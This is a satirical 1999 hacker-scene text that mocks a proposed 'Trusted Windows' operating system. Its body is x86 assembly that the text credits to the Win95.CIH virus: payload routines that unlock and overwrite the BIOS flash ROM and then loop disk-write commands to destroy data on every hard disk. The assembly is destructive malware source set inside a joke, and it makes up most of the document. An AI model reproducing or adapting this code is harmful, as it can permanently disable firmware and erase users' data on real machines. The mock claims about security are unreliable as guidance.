Description of a Proposed Trusted Operating System by Wyzewun and Pneuma 
Drawn up Tuesday, 31st August 1999 

Abstract: Trusted Windows (Code Name: Gibson) will be based on the popular 
          Microsoft Windows Operating System, and will essentially be the same 
          Operating System, only it will have military grade security. 

Proposed Liscence Agreement: If we were to be Open source, people would see  
                             that we code like two year olds, and thus perhaps 
                             be able to spot flaws in our code. For this 
                             reason we will not be Open Source. 

                             Also, rather than making our Operating System a 
                             retail product, we will make it completely 
                             illegal to use or possess. This will increase 
                             security and lessen chances of people finding 
			     bugs and loopholes. 

Details: The Operating System will be small and elegant, and has had all of  
	 the security holes in Windows removed. At the moment, the Operating 
         System consists of the following code... 

; Trusted Windows v1.0 (Code Name: Gibson) by Wyzewun and Marc Satur9 
; Super Hardcore secure Windows variant 

; Kill BIOS EEPROM 

			mov	bp, 0cf8h 
			lea	esi, IOForEEPROM-@7[esi] 

; Show BIOS Page in 000E0000 - 000EFFFF (64kb) 

			mov	edi, 8000384ch 
			mov	dx, 0cfeh 
			cli 
			call	esi 

; Show BIOS Page in 000F0000 - 000FFFFF (64kb) 

			mov	di, 0058h 
                        dec     edx 
                        mov     word ptr (BooleanCalculateCode-@10)[esi], 0f24h 
			call	esi 

; Show the BIOS Extra ROM Data in Memory (000E0000 - 000E01FF) (512 bytes) 
; The Section of Extra BIOS can be Writted...  

			lea	ebx, EnableEEPROMToWrite-@10[esi] 

			mov	eax, 0e5555h 
			mov	ecx, 0e2aaah 
			call	ebx 
			mov	byte ptr [eax], 60h 

			push	ecx 
			loop	$ 

; Kill the BIOS Extra ROM Data in Memory (000E0000 - 000E007F) (80h Bytes) 

			xor	ah, ah 
			mov	[eax], al 

			xchg	ecx, eax 
			loop	$ 

; Show and Enable the BIOS Main ROM Data (000E0000 - 000FFFFF) (128kb) 
; Can be written 

			mov	eax, 0f5555h 
			pop	ecx 
			mov	ch, 0aah 
			call	ebx 
			mov	byte ptr [eax], 20h 

			loop	$ 

; Kill the BIOS Main ROM Data in Memory (000FE000 - 000FE07F) (80h bytes) 

			mov	ah, 0e0h 
			mov	[eax], al 

; Hide BIOS Page in 000F0000 - 000FFFFF (64kb) 
                                                                         
			mov	word ptr (BooleanCalculateCode-@10)[esi], 100ch 
			call	esi 

; Kill HardDrive 

KillHardDisk: 
			xor	ebx, ebx 
			mov	bh, FirstKillHardDiskNumber 
			push	ebx 
			sub	esp, 2ch 
			push	0c0001000h 
			mov	bh, 08h 
			push	ebx 
			push	ecx 
			push	ecx 
			push	ecx 
			push	40000501h 
			inc	ecx 
			push	ecx 
			push	ecx 

			mov	esi, esp 
			sub	esp, 0ach 

LoopOfKillHardDisk: 
			int	20h 
			dd	00100004h	; VXDCall IOS_SendCommand 

			cmp	word ptr [esi+06h], 0017h 
			je	KillNextDataSection 

ChangeNextHardDisk: 
			inc	byte ptr [esi+4dh] 

			jmp	LoopOfKillHardDisk 

KillNextDataSection: 
			add	dword ptr [esi+10h], ebx 
			mov	byte ptr [esi+4dh], FirstKillHardDiskNumber 

			jmp	LoopOfKillHardDisk 

As you can see, this code was borrowed from the extremely popular addon pack 
for Microsoft Windows - the Win95.CIH Virus. It succeeds in removing the BIOS 
and the ability of the hard-drive to boot, two of the most common ways to 
access your Windows workstation and thus be able to hack it. 

Conclusion: Well, this is a revolutionary step in the field of Computer 
            Security which the world may not be ready for, but we are 
            confident that Trusted Windows is the only way to have a truly 
            secure Windows box and highly recommend that you employ it if you 
            wish to be secure. Only you can't have it. Giving it to you would 
 	    be a security threat. Sorry.
